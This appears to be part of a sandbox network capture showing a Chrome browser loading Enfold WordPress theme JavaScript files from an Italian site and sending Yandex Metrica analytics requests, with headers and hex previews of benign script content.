2025-01-09 12:19:30 UTC	276	IN	HTTP/1.1 200 OK Server: aruba-proxy Date: Thu, 09 Jan 2025 12:19:29 GMT Content-Type: text/javascript Content-Length: 3874 Connection: close Last-Modified: Mon, 18 Mar 2019 15:16:31 GMT Accept-Ranges: bytes X-ServerName: webx.aruba.it Alt-Svc: h3=":443"; ma=86400
2025-01-09 12:19:30 UTC	3874	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 24 29 0a 7b 20 0a 09 22 75 73 65 20 73 74 72 69 63 74 22 3b 0a 09 24 2e 61 76 69 61 5f 75 74 69 6c 69 74 69 65 73 20 3d 20 24 2e 61 76 69 61 5f 75 74 69 6c 69 74 69 65 73 20 7c 7c 20 7b 7d 3b 0a 09 0a 09 24 28 64 6f 63 75 6d 65 6e 74 29 2e 72 65 61 64 79 28 66 75 6e 63 74 69 6f 6e 28 29 0a 20 20 20 20 7b 09 0a 09 09 20 2f 2f 61 63 74 69 76 61 74 65 73 20 74 68 65 20 73 74 69 63 6b 79 20 73 75 62 6d 65 6e 75 0a 09 09 24 2e 61 76 69 61 5f 75 74 69 6c 69 74 69 65 73 20 3d 20 24 2e 61 76 69 61 5f 75 74 69 6c 69 74 69 65 73 20 7c 7c 20 7b 7d 3b 0a 20 20 20 20 20 20 20 20 69 66 28 24 2e 61 76 69 61 5f 75 74 69 6c 69 74 69 65 73 2e 61 76 69 61 5f 73 74 69 63 6b 79 5f 73 75 62 6d 65 6e 75 29 0a 09 09 24 2e 61 76 69 61 5f 75 74 69 6c Data Ascii: (function($){ "use strict";$.avia_utilities = $.avia_utilities \|\| {};$(document).ready(function() { //activates the sticky submenu$.avia_utilities = $.avia_utilities \|\| {}; if($.avia_utilities.avia_sticky_submenu)$.avia_util

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
131	192.168.2.16	49861	89.46.108.67	443	6904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 12:19:29 UTC	546	OUT	GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/notification/notification.js?ver=6.0.9 HTTP/1.1 Host: www.cipassoitalia.it Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec; _ym_uid=1736425167496978039; _ym_d=1736425167
2025-01-09 12:19:30 UTC	276	IN	HTTP/1.1 200 OK Server: aruba-proxy Date: Thu, 09 Jan 2025 12:19:30 GMT Content-Type: text/javascript Content-Length: 2996 Connection: close Last-Modified: Mon, 18 Mar 2019 15:16:31 GMT Accept-Ranges: bytes X-ServerName: webx.aruba.it Alt-Svc: h3=":443"; ma=86400
2025-01-09 12:19:30 UTC	2996	IN	Data Raw: 2f 2f 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 2f 2f 20 4d 65 73 73 61 67 65 20 42 6f 78 0a 2f 2f 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 0a 28 66 75 6e 63 74 69 6f 6e 28 24 29 0a 7b 0a 20 20 20 20 22 75 73 65 20 73 74 72 69 63 74 22 3b 0a 0a 20 20 20 20 24 2e 66 6e 2e 61 76 69 61 5f 73 Data Ascii: // -------------------------------------------------------------------------------------------// Message Box// -------------------------------------------------------------------------------------------(function($){ "use strict"; $.fn.avia_s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
132	192.168.2.16	49862	89.46.108.67	443	6904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 12:19:29 UTC	745	OUT	GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/slideshow_layerslider/slideshow_layerslider.js?ver=6.0.9 HTTP/1.1 Host: www.cipassoitalia.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.cipassoitalia.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec; _ym_uid=1736425167496978039; _ym_d=1736425167
2025-01-09 12:19:30 UTC	275	IN	HTTP/1.1 200 OK Server: aruba-proxy Date: Thu, 09 Jan 2025 12:19:30 GMT Content-Type: text/javascript Content-Length: 849 Connection: close Last-Modified: Mon, 18 Mar 2019 15:16:31 GMT Accept-Ranges: bytes X-ServerName: webx.aruba.it Alt-Svc: h3=":443"; ma=86400
2025-01-09 12:19:30 UTC	849	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 24 29 0a 7b 09 0a 22 75 73 65 20 73 74 72 69 63 74 22 3b 0a 0a 2f 2f 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 2f 2f 20 6d 61 6b 65 73 20 73 75 72 65 20 74 68 61 74 20 74 68 65 20 66 69 78 65 64 20 63 6f 6e 74 61 69 6e 65 72 20 68 65 69 67 68 74 20 69 73 20 72 65 6d 6f 76 65 64 20 6f 6e 63 65 20 74 68 65 20 6c 61 79 65 72 73 6c 69 64 65 72 20 69 73 20 6c 6f 61 64 65 64 2c 20 73 6f 20 69 74 20 61 64 61 70 74 73 20 74 6f 20 74 68 65 20 73 63 72 65 65 6e 20 72 65 73 6f 6c 75 74 69 6f 6e 0a 2f 2f Data Ascii: (function($){"use strict";// -------------------------------------------------------------------------------------------// makes sure that the fixed container height is removed once the layerslider is loaded, so it adapts to the screen resolution//

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
133	192.168.2.16	49863	87.250.250.119	443	6904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 12:19:30 UTC	2201	OUT	GET /watch/99162160/1?wmode=7&page-url=https%3A%2F%2Fwww.cipassoitalia.it%2F&charset=utf-8&uah=chu%0A%22Google%20Chrome%22%3Bv%3D%22117%22%2C%22Not%3BA%3DBrand%22%3Bv%3D%228%22%2C%22Chromium%22%3Bv%3D%22117%22%0Acha%0Ax86%0Achb%0A64%0Achf%0A117.0.5938.132%0Achl%0A%22Google%20Chrome%22%3Bv%3D%22117.0.5938.132%22%2C%22Not%3BA%3DBrand%22%3Bv%3D%228.0.0.0%22%2C%22Chromium%22%3Bv%3D%22117.0.5938.132%22%0Achm%0A%3F0%0Achp%0AWindows%0Achv%0A10.0.0&browser-info=pv%3A1%3Avf%3A14pwap7gbnl70a58u0m6s2b47zyz%3Afu%3A0%3Aen%3Autf-8%3Ala%3Aen-US%3Av%3A1551%3Acn%3A1%3Adp%3A0%3Als%3A715124884331%3Ahid%3A1009997951%3Az%3A-300%3Ai%3A20250109071926%3Aet%3A1736425167%3Ac%3A1%3Arn%3A645420672%3Arqn%3A1%3Au%3A1736425167496978039%3Aw%3A1280x907%3As%3A1280x1024x24%3Ask%3A1%3Afp%3A15316%3Awv%3A2%3Ads%3A80%2C702%2C439%2C117%2C799%2C0%2C%2C%2C%2C%2C%2C%2C%3Aco%3A0%3Acpf%3A1%3Ans%3A1736425147384%3Arqnl%3A1%3Ast%3A1736425168%3At%3ACiPASSO.%20Nel%20cuore%20di%20Roma%2C%20ad%20un%20passo%20dal%20Pantheon.&t=gdpr%2814%29clc%280-0-0%29rqnt%281 [TRUNCATED] Host: mc.yandex.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.cipassoitalia.it Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.cipassoitalia.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: i=gTaD/EjvhW/GKVkO5Iw0SIcuK723LMdCEHuFe9D7uodpDgPghD6oGwV239a6vJ6ZYFXszON86TLsbGwz7TLgVWlG9YE=; yandexuid=4861718441736425168; yashr=4971233111736425168; yabs-sid=1132875371736425169; yuidss=4861718441736425168; ymex=1767961169.yrts.1736425169; receive-cookie-deprecation=1; bh=Ej4iR29vZ2xlIENocm9tZSI7dj0iMTE3IiwiTm90O0E9QnJhbmQiO3Y9IjgiLCJDaHJvbWl1bSI7dj0iMTE3IhoFIng4NiIiECIxMTcuMC41OTM4LjEzMiIqAj8wOgkiV2luZG93cyJCCCIxMC4wLjAiSgQiNjQiUlsiR29vZ2xlIENocm9tZSI7dj0iMTE3LjAuNTkzOC4xMzIiLCJOb3Q7QT1CcmFuZCI7dj0iOC4wLjAuMCIsIkNocm9taXVtIjt2PSIxMTcuMC41OTM4LjEzMiIi
2025-01-09 12:19:30 UTC	819	IN	HTTP/1.1 200 Ok Accept-CH: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://www.cipassoitalia.it Cache-Control: private, no-cache, no-store, must-revalidate, max-age=0 Connection: Close Content-Length: 603 Content-Type: application/json; charset=utf-8 Date: Thu, 09 Jan 2025 12:19:30 GMT Expires: Thu, 09-Jan-2025 12:19:30 GMT Last-Modified: Thu, 09-Jan-2025 12:19:30 GMT Pragma: no-cache Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block
2025-01-09 12:19:30 UTC	603	IN	Data Raw: 7b 22 73 65 74 74 69 6e 67 73 22 3a 7b 22 61 75 74 6f 5f 67 6f 61 6c 73 22 3a 30 2c 22 62 75 74 74 6f 6e 5f 67 6f 61 6c 73 22 3a 30 2c 22 63 5f 72 65 63 70 22 3a 22 31 2e 30 30 30 30 30 22 2c 22 66 6f 72 6d 5f 67 6f 61 6c 73 22 3a 30 2c 22 70 63 73 22 3a 22 31 22 2c 22 77 65 62 76 69 73 6f 72 22 3a 7b 22 61 72 63 68 5f 74 79 70 65 22 3a 22 6e 6f 6e 65 22 2c 22 64 61 74 65 22 3a 22 32 30 32 34 2d 31 32 2d 32 32 20 30 31 3a 32 38 3a 32 35 22 2c 22 66 6f 72 6d 73 22 3a 31 2c 22 72 65 63 70 22 3a 22 31 2e 30 30 30 30 30 22 7d 2c 22 73 62 70 22 3a 20 7b 22 61 22 3a 22 6a 53 4c 4f 68 49 33 44 77 6c 6f 76 45 64 51 73 2f 62 50 32 74 59 4d 57 4f 39 6a 74 39 78 36 2b 39 6d 34 72 63 6f 33 72 31 72 77 49 44 67 32 75 78 67 54 32 6f 68 72 73 55 7a 55 31 70 6c 6b 73 22 Data Ascii: {"settings":{"auto_goals":0,"button_goals":0,"c_recp":"1.00000","form_goals":0,"pcs":"1","webvisor":{"arch_type":"none","date":"2024-12-22 01:28:25","forms":1,"recp":"1.00000"},"sbp": {"a":"jSLOhI3DwlovEdQs/bP2tYMWO9jt9x6+9m4rco3r1rwIDg2uxgT2ohrsUzU1plks"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
134	192.168.2.16	49864	89.46.108.67	443	6904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 12:19:30 UTC	536	OUT	GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/numbers/numbers.js?ver=6.0.9 HTTP/1.1 Host: www.cipassoitalia.it Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec; _ym_uid=1736425167496978039; _ym_d=1736425167
2025-01-09 12:19:30 UTC	276	IN	HTTP/1.1 200 OK Server: aruba-proxy Date: Thu, 09 Jan 2025 12:19:30 GMT Content-Type: text/javascript Content-Length: 2974 Connection: close Last-Modified: Mon, 18 Mar 2019 15:16:31 GMT Accept-Ranges: bytes X-ServerName: webx.aruba.it Alt-Svc: h3=":443"; ma=86400
2025-01-09 12:19:30 UTC	2974	IN	Data Raw: 2f 2f 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 2f 2f 20 42 69 67 20 4e 75 6d 62 65 72 20 61 6e 69 6d 61 74 69 6f 6e 20 73 68 6f 72 74 63 6f 64 65 20 6a 61 76 61 73 63 72 69 70 74 0a 2f 2f 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 0a 28 66 75 6e 63 74 69 6f 6e 28 24 29 0a 7b 0a 09 2f 2f 20 Data Ascii: // -------------------------------------------------------------------------------------------// Big Number animation shortcode javascript// -------------------------------------------------------------------------------------------(function($){//

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
135	192.168.2.16	49865	87.250.250.119	443	6904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 12:19:30 UTC	600	OUT	GET /sync_cookie_image_check HTTP/1.1 Host: mc.yandex.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.cipassoitalia.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 12:19:30 UTC	527	IN	HTTP/1.1 302 Moved temporarily Connection: Close Date: Thu, 09 Jan 2025 12:19:30 GMT Location: https://mc.yandex.ru/sync_cookie_image_start?redirect_domain=mc.yandex.com&token=10611.FbrXZOQetWtOhWNidnx8SrNpJCm7npvfFh5QbMLx1fMZgV2U5YpHZ19yM6qeSPro.GOR9bmAnKLLv1S9w2wxjABMq3CA%2C Set-Cookie: sync_cookie_csrf=239647205fake; Expires=Thu, 09-Jan-2025 12:29:30 GMT; Domain=.mc.yandex.com; Path=/; SameSite=None; Secure Strict-Transport-Security: max-age=31536000 Transfer-Encoding: chunked X-XSS-Protection: 1; mode=block
2025-01-09 12:19:30 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
136	192.168.2.16	49866	89.46.108.67	443	6904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 12:19:30 UTC	540	OUT	GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/portfolio/portfolio.js?ver=6.0.9 HTTP/1.1 Host: www.cipassoitalia.it Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec; _ym_uid=1736425167496978039; _ym_d=1736425167
2025-01-09 12:19:30 UTC	277	IN	HTTP/1.1 200 OK Server: aruba-proxy Date: Thu, 09 Jan 2025 12:19:30 GMT Content-Type: text/javascript Content-Length: 11409 Connection: close Last-Modified: Mon, 18 Mar 2019 15:16:31 GMT Accept-Ranges: bytes X-ServerName: webx.aruba.it Alt-Svc: h3=":443"; ma=86400
2025-01-09 12:19:30 UTC	11409	IN	Data Raw: 2f 2f 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 2f 2f 20 41 76 69 61 20 41 4a 41 58 20 50 6f 72 74 66 6f 6c 69 6f 0a 2f 2f 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 0a 28 66 75 6e 63 74 69 6f 6e 28 24 29 0a 7b 20 0a 09 22 75 73 65 20 73 74 72 69 63 74 22 3b 0a 09 24 2e 61 76 69 61 5f 75 74 Data Ascii: // -------------------------------------------------------------------------------------------// Avia AJAX Portfolio// -------------------------------------------------------------------------------------------(function($){ "use strict";$.avia_ut

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
137	192.168.2.16	49867	89.46.108.67	443	6904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 12:19:30 UTC	544	OUT	GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/progressbar/progressbar.js?ver=6.0.9 HTTP/1.1 Host: www.cipassoitalia.it Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec; _ym_uid=1736425167496978039; _ym_d=1736425167
2025-01-09 12:19:30 UTC	275	IN	HTTP/1.1 200 OK Server: aruba-proxy Date: Thu, 09 Jan 2025 12:19:30 GMT Content-Type: text/javascript Content-Length: 908 Connection: close Last-Modified: Mon, 18 Mar 2019 15:16:31 GMT Accept-Ranges: bytes X-ServerName: webx.aruba.it Alt-Svc: h3=":443"; ma=86400
2025-01-09 12:19:30 UTC	908	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 24 29 0a 7b 20 0a 09 22 75 73 65 20 73 74 72 69 63 74 22 3b 0a 09 0a 09 2f 2f 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 09 2f 2f 20 50 72 6f 67 72 65 73 73 20 62 61 72 20 73 68 6f 72 74 63 6f 64 65 20 6a 61 76 61 73 63 72 69 70 74 0a 09 2f 2f 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d Data Ascii: (function($){ "use strict";// -------------------------------------------------------------------------------------------// Progress bar shortcode javascript// ------------------------------------------------------------------------------------

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
138	192.168.2.16	49868	89.46.108.67	443	6904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 12:19:30 UTC	725	OUT	GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/tab_section/tab_section.js?ver=6.0.9 HTTP/1.1 Host: www.cipassoitalia.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.cipassoitalia.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec; _ym_uid=1736425167496978039; _ym_d=1736425167
2025-01-09 12:19:31 UTC	276	IN	HTTP/1.1 200 OK Server: aruba-proxy Date: Thu, 09 Jan 2025 12:19:30 GMT Content-Type: text/javascript Content-Length: 7238 Connection: close Last-Modified: Mon, 18 Mar 2019 15:16:32 GMT Accept-Ranges: bytes X-ServerName: webx.aruba.it Alt-Svc: h3=":443"; ma=86400
2025-01-09 12:19:31 UTC	7238	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 24 29 0d 0a 7b 20 0d 0a 09 22 75 73 65 20 73 74 72 69 63 74 22 3b 0d 0a 09 0d 0a 09 2f 2f 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0d 0a 09 2f 2f 20 54 61 62 20 53 65 63 74 69 6f 6e 0d 0a 09 2f 2f 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0d 0a 09 0d 0a 09 24 2e 66 Data Ascii: (function($){ "use strict";// -------------------------------------------------------------------------------------------// Tab Section// -------------------------------------------------------------------------------------------$.f

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
139	192.168.2.16	49869	89.46.108.67	443	6904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 12:19:30 UTC	711	OUT	GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/tabs/tabs.js?ver=6.0.9 HTTP/1.1 Host: www.cipassoitalia.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.cipassoitalia.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec; _ym_uid=1736425167496978039; _ym_d=1736425167
2025-01-09 12:19:31 UTC	276	IN	HTTP/1.1 200 OK Server: aruba-proxy Date: Thu, 09 Jan 2025 12:19:30 GMT Content-Type: text/javascript Content-Length: 3676 Connection: close Last-Modified: Mon, 18 Mar 2019 15:16:32 GMT Accept-Ranges: bytes X-ServerName: webx.aruba.it Alt-Svc: h3=":443"; ma=86400
2025-01-09 12:19:31 UTC	3676	IN	Data Raw: 2f 2f 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 2f 2f 20 54 61 62 20 53 68 6f 72 74 63 6f 64 65 0a 2f 2f 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 0a 28 66 75 6e 63 74 69 6f 6e 28 24 29 0a 7b 20 0a 09 22 75 73 65 20 73 74 72 69 63 74 22 3b 0a 0a 09 24 2e 66 6e 2e 61 76 69 61 5f 73 63 5f 74 Data Ascii: // -------------------------------------------------------------------------------------------// Tab Shortcode// -------------------------------------------------------------------------------------------(function($){ "use strict";$.fn.avia_sc_t

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
